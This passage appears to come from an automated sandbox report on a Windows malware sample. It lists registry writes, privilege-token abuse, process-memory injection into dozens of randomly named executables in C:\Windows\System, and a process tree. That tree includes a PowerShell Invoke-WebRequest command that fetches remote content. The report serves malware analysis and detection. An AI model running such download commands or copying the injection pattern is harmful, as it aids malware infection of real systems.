536207d2c205c2243616e52756e4665617475726543616368655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22506572666f726d4c6963656e73696e674e6f74696669636174696f6e735c22203a207b205c224576656e74466c61675c22203a20323536207d207d2c205c225375624e616d657370616365735c22203a207b205c224c5655585c22203a207b205c224576656e74735c22203a207b205c224e6f456e7469746c656d656e74735c22203a207b205c224576656e74466c61675c22203a203439343038207d2c205c224e6f456e7469746c656d656e74734578706572696d656e74547269676765725c22203a207b205c224576656e74466c61675c22203a203439343038207d207d207d2c205c224f6666696365436c69656e744c6963656e73696e675c22203a207b205c224576656e74735c22203a207b205c224c6963656e7365436f6d706c657465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6567616379416374697669747953756363657373436f756e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c656761637941637469766974794661696c757265436f756e745c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c22436c69656e745c22203a207b205c224576656e74735c22203a207b205c224653686f756c6441637469766174655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d2c205c224865617274626561745c22203a207b205c224576656e74735c22203a207b205c22577269746543616368655c22203a207b205c224576656e74466c61675c22203a C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|10" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3104 wrote to memory of 3572 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3104 wrote to memory of 3572 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3104 wrote to memory of 5072 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\SCglpAc.exe
PID 3104 wrote to memory of 5072 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\SCglpAc.exe
PID 3104 wrote to memory of 4324 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\iDrFluk.exe
PID 3104 wrote to memory of 4324 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\iDrFluk.exe
PID 3104 wrote to memory of 3700 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\XXbNKau.exe
PID 3104 wrote to memory of 3700 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\XXbNKau.exe
PID 3104 wrote to memory of 2400 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\AtLhBpm.exe
PID 3104 wrote to memory of 2400 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\AtLhBpm.exe
PID 3104 wrote to memory of 532 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ujCwONB.exe
PID 3104 wrote to memory of 532 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ujCwONB.exe
PID 3104 wrote to memory of 992 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\TyDgJkk.exe
PID 3104 wrote to memory of 992 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\TyDgJkk.exe
PID 3104 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\DtuJktR.exe
PID 3104 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\DtuJktR.exe
PID 3104 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\MrwCazZ.exe
PID 3104 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\MrwCazZ.exe
PID 3104 wrote to memory of 5004 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\LXsDsHf.exe
PID 3104 wrote to memory of 5004 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\LXsDsHf.exe
PID 3104 wrote to memory of 3944 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\LMGaGnU.exe
PID 3104 wrote to memory of 3944 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\LMGaGnU.exe
PID 3104 wrote to memory of 4924 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\lQZECKO.exe
PID 3104 wrote to memory of 4924 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\lQZECKO.exe
PID 3104 wrote to memory of 3576 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\oDPyPwK.exe
PID 3104 wrote to memory of 3576 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\oDPyPwK.exe
PID 3104 wrote to memory of 2300 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\aDBRiFN.exe
PID 3104 wrote to memory of 2300 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\aDBRiFN.exe
PID 3104 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\iVrxwBB.exe
PID 3104 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\iVrxwBB.exe
PID 3104 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\OYVnljx.exe
PID 3104 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\OYVnljx.exe
PID 3104 wrote to memory of 4944 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\GzUIYnx.exe
PID 3104 wrote to memory of 4944 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\GzUIYnx.exe
PID 3104 wrote to memory of 3100 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\YXNtaNb.exe
PID 3104 wrote to memory of 3100 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\YXNtaNb.exe
PID 3104 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\BlYTGgZ.exe
PID 3104 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\BlYTGgZ.exe
PID 3104 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\iJjTpyC.exe
PID 3104 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\iJjTpyC.exe
PID 3104 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\vsHteIT.exe
PID 3104 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\vsHteIT.exe
PID 3104 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\geIqMwa.exe
PID 3104 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\geIqMwa.exe
PID 3104 wrote to memory of 4352 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\mJowCnT.exe
PID 3104 wrote to memory of 4352 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\mJowCnT.exe
PID 3104 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\TVsuBzf.exe
PID 3104 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\TVsuBzf.exe
PID 3104 wrote to memory of 4892 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\Kztuwft.exe
PID 3104 wrote to memory of 4892 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\Kztuwft.exe
PID 3104 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ydATDJM.exe
PID 3104 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\ydATDJM.exe
PID 3104 wrote to memory of 4364 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\glRIXxF.exe
PID 3104 wrote to memory of 4364 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\glRIXxF.exe
PID 3104 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\kmqCdmn.exe
PID 3104 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\kmqCdmn.exe
PID 3104 wrote to memory of 4528 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\hsZLJgx.exe
PID 3104 wrote to memory of 4528 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\hsZLJgx.exe
PID 3104 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\hnvrUZe.exe
PID 3104 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\hnvrUZe.exe
PID 3104 wrote to memory of 4028 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\xKYBtXF.exe
PID 3104 wrote to memory of 4028 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\xKYBtXF.exe
PID 3104 wrote to memory of 3872 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\eOJrHYO.exe
PID 3104 wrote to memory of 3872 N/A C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe C:\Windows\System\eOJrHYO.exe

Processes

C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "

C:\Windows\System\SCglpAc.exe

C:\Windows\System\SCglpAc.exe

C:\Windows\System\iDrFluk.exe

C:\Windows\System\iDrFluk.exe

C:\Windows\System\XXbNKau.exe

C:\Windows\System\XXbNKau.exe

C:\Windows\System\AtLhBpm.exe

C:\Windows\System\AtLhBpm.exe

C:\Windows\System\ujCwONB.exe

C:\Windows\System\ujCwONB.exe

C:\Windows\System\TyDgJkk.exe

C:\Windows\System\TyDgJkk.exe

C:\Windows\System\DtuJktR.exe

C:\Windows\System\DtuJktR.exe

C:\Windows\System\MrwCazZ.exe

C:\Windows\System\MrwCazZ.exe

C:\Windows\System\LXsDsHf.exe

C:\Windows\System\LXsDsHf.exe

C:\Windows\System\LMGaGnU.exe

C:\Windows\System\LMGaGnU.exe

C:\Windows\System\lQZECKO.exe

C:\Windows\System\lQZECKO.exe

C:\Windows\System\oDPyPwK.exe

C:\Windows\System\oDPyPwK.exe

C:\Windows\System\aDBRiFN.exe

C:\Windows\System\aDBRiFN.exe

C:\Windows\System\iVrxwBB.exe

C:\Windows\System\iVrxwBB.exe

C:\Windows\System\OYVnljx.exe

C:\Windows\System\OYVnljx.exe

C:\Windows\System\GzUIYnx.exe

C:\Windows\System\GzUIYnx.exe

C:\Windows\System\YXNtaNb.exe

C:\Windows\System\YXNtaNb.exe

C:\Windows\System\BlYTGgZ.exe

C:\Windows\System\BlYTGgZ.exe

C:\Windows\System\iJjTpyC.exe

C:\Windows\System\iJjTpyC.exe

C:\Windows\System\vsHteIT.exe

C:\Windows\System\vsHteIT.exe

C:\Windows\System\geIqMwa.exe

C:\Windows\System\geIqMwa.exe

C:\Windows\System\mJowCnT.exe

C:\Windows\System\mJowCnT.exe

C:\Windows\System\TVsuBzf.exe

C:\Windows\System\TVsuBzf.exe

C:\Windows\System\Kztuwft.exe

C:\Windows\System\Kztuwft.exe

C:\Windows\System\ydATDJM.exe

C:\Windows\System\ydATDJM.exe

C:\Windows\System\glRIXxF.exe

C:\Windows\System\glRIXxF.exe

C:\Windows\System\kmqCdmn.exe

C:\Windows\System\kmqCdmn.exe

C:\Windows\System\hsZLJgx.exe

C:\Windows\System\hsZLJgx.exe

C:\Windows\System\hnvrUZe.exe

C:\Windows\System\hnvrUZe.exe

C:\Windows\System\xKYBtXF.exe

C:\Windows\System\xKYBtXF.exe

C:\Windows\System\eOJrHYO.exe

C:\Windows\System\eOJrHYO.exe

C:\Windows\System\VMbXAQz.exe

C:\Windows\System\VMbXAQz.exe

C:\Windows\System\GGTjyzb.exe

C:\Windows\System\GGTjyzb.exe

C:\Windows\System\HdpHptg.exe

C:\Windows\System\HdpHptg.exe

C:\Windows\System\fLBTobv.exe

C:\Windows\System\fLBTobv.exe

C:\Windows\System\REoVujn.exe

C:\Windows\System\REoVujn.exe

C:\Windows\System\Ofrgkqz.exe

C:\Windows\System\Ofrgkqz.exe

C:\Windows\System\wNrgqWU.exe

C:\Windows\System\wNrgqWU.exe

C:\Windows\System\pfaKEXx.exe

C:\Windows\System\pfaKEXx.exe

C:\Windows\System\HWKRMPc.exe

C:\Windows\System\HWKRMPc.exe

C:\Windows\System\NtBntZr.exe

C:\Windows\System\NtBntZr.exe

C:\Windows\System\UyRRalC.exe

C:\Windows\System\UyRRalC.exe

C:\Windows\System\MUqaPQi.exe

C:\Windows\System\MUqaPQi.exe

C:\Windows\System\iFTmTfK.exe

C:\Windows\System\iFTmTfK.exe

C:\Windows\System\nxpAQcj.exe

C:\Windows\System\nxpAQcj.exe

C:\Windows\System\vJazGmT.exe

C:\Windows\System\vJazGmT.exe

C:\Windows\System\HCsFLOw.exe

C:\Windows\System\HCsFLOw.exe

C:\Windows\System\SQOooZQ.exe

C:\Windows\System\SQOooZQ.exe

C:\Windows\System\VESaEjr.exe

C:\Windows\System\VESaEjr.exe

C:\Windows\System\QvvtXpM.exe

C:\Windows\System\QvvtXpM.exe

C:\Windows\System\sFjfdDT.exe

C:\Windows\System\sFjfdDT.exe

C:\Windows\System\qsPdBDz.exe

C:\Windows\System\qsPdBDz.exe

C:\Windows\System\PobOJrV.exe

C:\Windows\System\PobOJrV.exe

C:\Windows\System\MQbARhT.exe

C:\Windows\System\MQbARhT.exe

C:\Windows\System\EINDhZy.exe

C:\Windows\System\EINDhZy.exe

C:\Windows\System\rCpNseb.exe

C:\Windows\System\rCpNseb.exe

C:\Windows\System\OSgOJim.exe

C:\Windows\System\OSgOJim.exe

C:\Windows\System\vEdeZgO.exe

C:\Windows\System\vEdeZgO.exe

C:\Windows\System\OApjVVk.exe

C:\Windows\System\OApjVVk.exe

C:\Windows\System\pUYarxG.exe

C:\Windows\System\pUYarxG.exe

C:\Windows\System\XBMmXrw.exe

C:\Windows\System\XBMmXrw.exe

C:\Windows\System\hbxXIdq.exe

C:\Windows\System\hbxXIdq.exe

C:\Windows\System\tUvNXTe.exe

C:\Windows\System\tUvNXTe.exe

C:\Windows\System\QEfTjMw.exe

C:\Windows\System\QEfTjMw.exe

C:\Windows\System\lsZYaGp.exe

C:\Windows\System\lsZYaGp.exe

C:\Windows\System\orCzVWr.exe

C:\Windows\System\orCzVWr.exe

C:\Windows\System\ajCnmgU.exe

C:\Windows\System\ajCnmgU.exe

C:\Windows\System\BovMmiU.exe

C:\Windows\System\BovMmiU.exe

C:\Windows\System\RZqBEsI.exe

C:\Windows\System\RZqBEsI.exe

C:\Windows\System\clyAjpu.exe

C:\Windows\System\clyAjpu.exe

C:\Windows\System\FlHyrYX.exe

C:\Windows\System\FlHyrYX.exe

C:\Windows\System\MsxQdpI.exe

C:\Windows\System\MsxQdpI.exe

C:\Windows\System\wWFoCJT.exe

C:\Windows\System\wWFoCJT.exe

C:\Windows\System\jsQwvKg.exe

C:\Windows\System\jsQwvKg.exe

C:\Windows\System\LndCQjK.exe

C:\Windows\System\LndCQjK.exe

C:\Windows\System\bPNeSZs.exe

C:\Windows\System\bPNeSZs.exe

C:\Windows\System\EoElOiB.exe

C:\Windows\System\EoElOiB.exe

C:\Windows\System\AnZqOxh.exe

C:\Windows\System\AnZqOxh.exe

C:\Windows\System\SrxFfoM.exe

C:\Windows\System\SrxFfoM.exe

C:\Windows\System\uWYPdid.exe

C:\Windows\System\uWYPdid.exe

C:\Windows\System\IUNNEMV.exe

C:\Windows\System\IUNNEMV.exe

C:\Windows\System\ICPQXjI.exe

C:\Windows\System\ICPQXjI.exe

C:\Windows\System\YIcbIZe.exe

C:\Windows\System\YIcbIZe.exe

C:\Windows\System\mANHOdr.exe

C:\Windows\System\mANHOdr.exe

C:\Windows\System\nETmPdY.exe

C:\Windows\System\nETmPdY.exe

C:\Windows\System\ISXNyhF.exe

C:\Windows\System\ISXNyhF.exe

C:\Windows\System\ateZmMe.exe

C:\Windows\System\ateZmMe.exe

C:\Windows\System\fFLTZAt.exe

C:\Windows\System\fFLTZAt.exe

C:\Windows\System\oQuvHqp.exe

C:\Windows\System\oQuvHqp.exe

C:\Windows\System\WrQiTVO.exe

C:\Windows\System\WrQiTVO.exe

C:\Windows\System\wAHseAy.exe

C:\Windows\System\wAHseAy.exe

C:\Windows\System\tHQmuLk.exe

C:\Windows\System\tHQmuLk.exe

C:\Windows\System\PhWiBhn.exe

C:\Windows\System\PhWiBhn.exe

C:\Windows\System\UgbMVuO.exe

C:\Windows\System\UgbMVuO.exe

C:\Windows\System\zNACzyV.exe

C:\Windows\System\zNACzyV.exe

C:\Windows\System\JIilZCD.exe

C:\Windows\System\JIilZCD.exe

C:\Windows\System\AEBCjmG.exe

C:\Windows\System\AEBCjmG.exe

C:\Windows\System\OByetam.exe

C:\Windows\System\OByetam.exe

C:\Windows\System\ZDPmQGY.exe

C:\Windows\System\ZDPmQGY.exe

C:\Windows\System\wPhIiRH.exe

C:\Windows\System\wPhIiRH.exe

C:\Windows\System\TLjJgQr.exe

C:\Windows\System\TLjJgQr.exe

C:\Windows\System\ISPwIoc.exe

C:\Windows\System\ISPwIoc.exe

C:\Windows\System\XhqtBEj.exe

C:\Windows\System\XhqtBEj.exe

C:\Windows\System\momUwna.exe

C:\Windows\System\momUwna.exe

C:\Windows\System\axBqhKT.exe

C:\Windows\System\axBqhKT.exe

C:\Windows\System\Kcreesb.exe

C:\Windows\System\Kcreesb.exe

C:\Windows\System\MeiGJEY.exe

C:\Windows\System\MeiGJEY.exe

C:\Windows\System\mqlVAbI.exe

C:\Windows\System\mqlVAbI.exe

C:\Windows\System\IrWZVbC.exe

C:\Windows\System\IrWZVbC.exe

C:\Windows\System\VxYyftn.exe

C:\Windows\System\VxYyftn.exe

C:\Windows\System\epZKpkh.exe

C:\Windows\System\epZKpkh.exe

C:\Windows\System\UiKGjkt.exe

C:\Windows\System\UiKGjkt.exe

C:\Windows\System\UUUrynf.exe

C:\Windows\System\UUUrynf.exe

C:\Windows\System\bstsWKr.exe

C:\Windows\System\bstsWKr.exe

C:\Windows\System\VhngpkT.exe

C:\Windows\System\VhngpkT.exe

C:\Windows\System\fIbbloZ.exe

C:\Windows\System\fIbbloZ.exe

C:\Windows\System\MxqdOUg.exe

C:\Windows\System\MxqdOUg.exe

C:\Windows\System\xMPMIsk.exe

C:\Windows\System\xMPMIsk.exe

C:\Windows\System\clSIwlO.exe

C:\Windows\System\clSIwlO.exe

C:\Windows\System\fdBgemL.exe

C:\Windows\System\fdBgemL.exe

C:\Windows\System\xHNLLpf.exe

C:\Windows\System\xHNLLpf.exe

C:\Windows\System\rVZHsHZ.exe

C:\Windows\System\rVZHsHZ.exe

C:\Windows\System\LhycNGE.exe

C:\Windows\System\LhycNGE.exe

C:\Windows\System\qdvruDV.exe

C:\Windows\System\qdvruDV.exe

C:\Windows\System\oEtbtxw.exe

C:\Windows\System\oEtbtxw.exe

C:\Windows\System\BzzQuKg.exe

C:\Windows\System\BzzQuKg.exe

C:\Windows\System\UWsfyeX.exe

C:\Windows\System\UWsfyeX.exe

C:\Windows\System\yOHAaJY.exe

C:\Windows\System\yOHAaJY.exe

C:\Windows\System\ilAgPZO.exe

C:\Windows\System\ilAgPZO.exe

C:\Windows\System\TXaHWxQ.exe

C:\Windows\System\TXaHWxQ.exe

C:\Windows\System\hIGjjQE.exe

C:\Windows\System\hIGjjQE.exe

C:\Windows\System\uzazaRq.exe

C:\Windows\System\uzazaRq.exe

C:\Windows\System\kRKBIGx.exe

C:\Windows\System\kRKBIGx.exe

C:\Windows\System\omDsVHN.exe

C:\Windows\System\omDsVHN.exe

C:\Windows\System\YhDziMZ.exe

C:\Windows\System\YhDziMZ.exe

C:\Windows\System\LGEcGmy.exe

C:\Windows\System\LGEcGmy.exe

C:\Windows\System\OAVGQQw.exe

C:\Windows\System\OAVGQQw.exe

C:\Windows\System\OFPfmBW.exe

C:\Windows\System\OFPfmBW.exe

C:\Windows\System\wglRVbp.exe

C:\Windows\System\wglRVbp.exe

C:\Windows\System\TeiHZvm.exe

C:\Windows\System\TeiHZvm.exe

C:\Windows\System\cqcbUKE.exe

C:\Windows\System\cqcbUKE.exe

C:\Windows\System\DJOQUDV.exe

C:\Windows\System\DJOQUDV.exe

C:\Windows\System\syXexCv.exe

C:\Windows\System\syXexCv.exe

C:\Windows\System\avMsWhP.exe

C:\Windows\System\avMsWhP.exe

C:\Windows\System\ZwkmpAX.exe

C:\Windows\System\ZwkmpAX.exe

C:\Windows\System\wEbQKGy.exe

C:\Windows\System\wEbQKGy.exe

C:\Windows\System\BQidhbl.exe

C:\Windows\System\BQidhbl.exe

C:\Windows\System\CnlxZyz.exe

C:\Windows\System\CnlxZyz.exe

C:\Windows\System\OgioHaN.exe

C:\Windows\System\OgioHaN.exe

C:\Windows\System\omMSohc.exe

C:\Windows\System\omMSohc.exe

C:\Windows\System\iMyorLB.exe

C:\Windows\System\iMyorLB.exe

C:\Windows\System\zFyvnhM.exe

C:\Windows\System\zFyvnhM.exe

C:\Windows\System\MCKrSHP.exe

C:\Windows\System\MCKrSHP.exe

C:\Windows\System\zyACAcq.exe

C:\Windows\System\zyACAcq.exe

C:\Windows\System\XbpsFIe.exe

C:\Windows\System\XbpsFIe.exe

C:\Windows\System\zGNpHUj.exe

C:\Windows\System\zGNpHUj.exe

C:\Windows\System\EBqToZi.exe

C:\Windows\System\EBqToZi.exe

C:\Windows\System\IyNHRyg.exe

C:\Windows\System\IyNHRyg.exe

C:\Windows\System\dmKsCyU.exe

C:\Windows\System\dmKsCyU.exe

C:\Windows\System\ZYicPXB.exe

C:\Windows\System\ZYicPXB.exe

C:\Windows\System\YBpJLlC.exe

C:\Windows\System\YBpJLlC.exe

C:\Windows\System\EyMbIur.exe

C:\Windows\System\EyMbIur.exe

C:\Windows\System\YZNTnlI.exe

C:\Windows\System\YZNTnlI.exe

C:\Windows\System\gIlnCYr.exe

C:\Windows\System\gIlnCYr.exe

C:\Windows\System\YlbjDBp.exe

C:\Windows\System\YlbjDBp.exe

C:\Windows\System\GLxYurV.exe

C:\Windows\System\GLxYurV.exe

C:\Windows\System\jSRFijO.exe

C:\Windows\System\jSRFijO.exe

C:\Windows\System\pDvlCWf.exe

C:\Windows\System\pDvlCWf.exe

C:\Windows\System\pVACoYI.exe

C:\Windows\System\pVACoYI.exe

C:\Windows\System\bUiMcyD.exe

C:\Windows\System\bUiMcyD.exe

C:\Windows\System\rdiBobx.exe

C:\Windows\System\rdiBobx.exe

C:\Windows\System\PGNEVfG.exe

C:\Windows\System\PGNEVfG.exe

C:\Windows\System\ZOEHnoc.exe

C:\Windows\System\ZOEHnoc.exe

C:\Windows\System\BsoOGSg.exe

C:\Windows\System\BsoOGSg.exe

C:\Windows\System\HHFkLDa.exe

C:\Windows\System\HHFkLDa.exe

C:\Windows\System\Npjynqd.exe

C:\Windows\System\Npjynqd.exe

C:\Windows\System\oEYHTUH.exe

C:\Windows\System\oEYHTUH.exe

C:\Windows\System\mufUJSY.exe

C:\Windows\System\mufUJSY.exe

C:\Windows\System\zRXjPYS.exe

C:\Windows\System\zRXjPYS.exe

C:\Windows\System\GWwxYjf.exe

C:\Windows\System\GWwxYjf.exe

C:\Windows\System\ZcOapwq.exe

C:\Windows\System\ZcOapwq.exe

C:\Windows\System\IQZVWwZ.exe

C:\Windows\System\IQZVWwZ.exe

C:\Windows\System\lKOOzyZ.exe

C:\Windows\System\lKOOzyZ.exe

C:\Windows\System\KpCFtwo.exe

C:\Windows\System\KpCFtwo.exe

C:\Windows\System\NGVlsZN.exe

C:\Windows\System\NGVlsZN.exe

C:\Windows\System\abReIyy.exe

C:\Windows\System\abReIyy.exe

C:\Windows\System\IKovvKK.exe

C:\Windows\System\IKovvKK.exe

C:\Windows\System\MmvUJON.exe

C:\Windows\System\MmvUJON.exe

C:\Windows\System\CIztNqu.exe

C:\Windows\System\CIztNqu.exe

C:\Windows\System\mOctcRq.exe

C:\Windows\System\mOctcRq.exe

C:\Windows\System\NzXmRKJ.exe

C:\Windows\System\NzXmRKJ.exe

C:\Windows\System\bRbnHao.exe

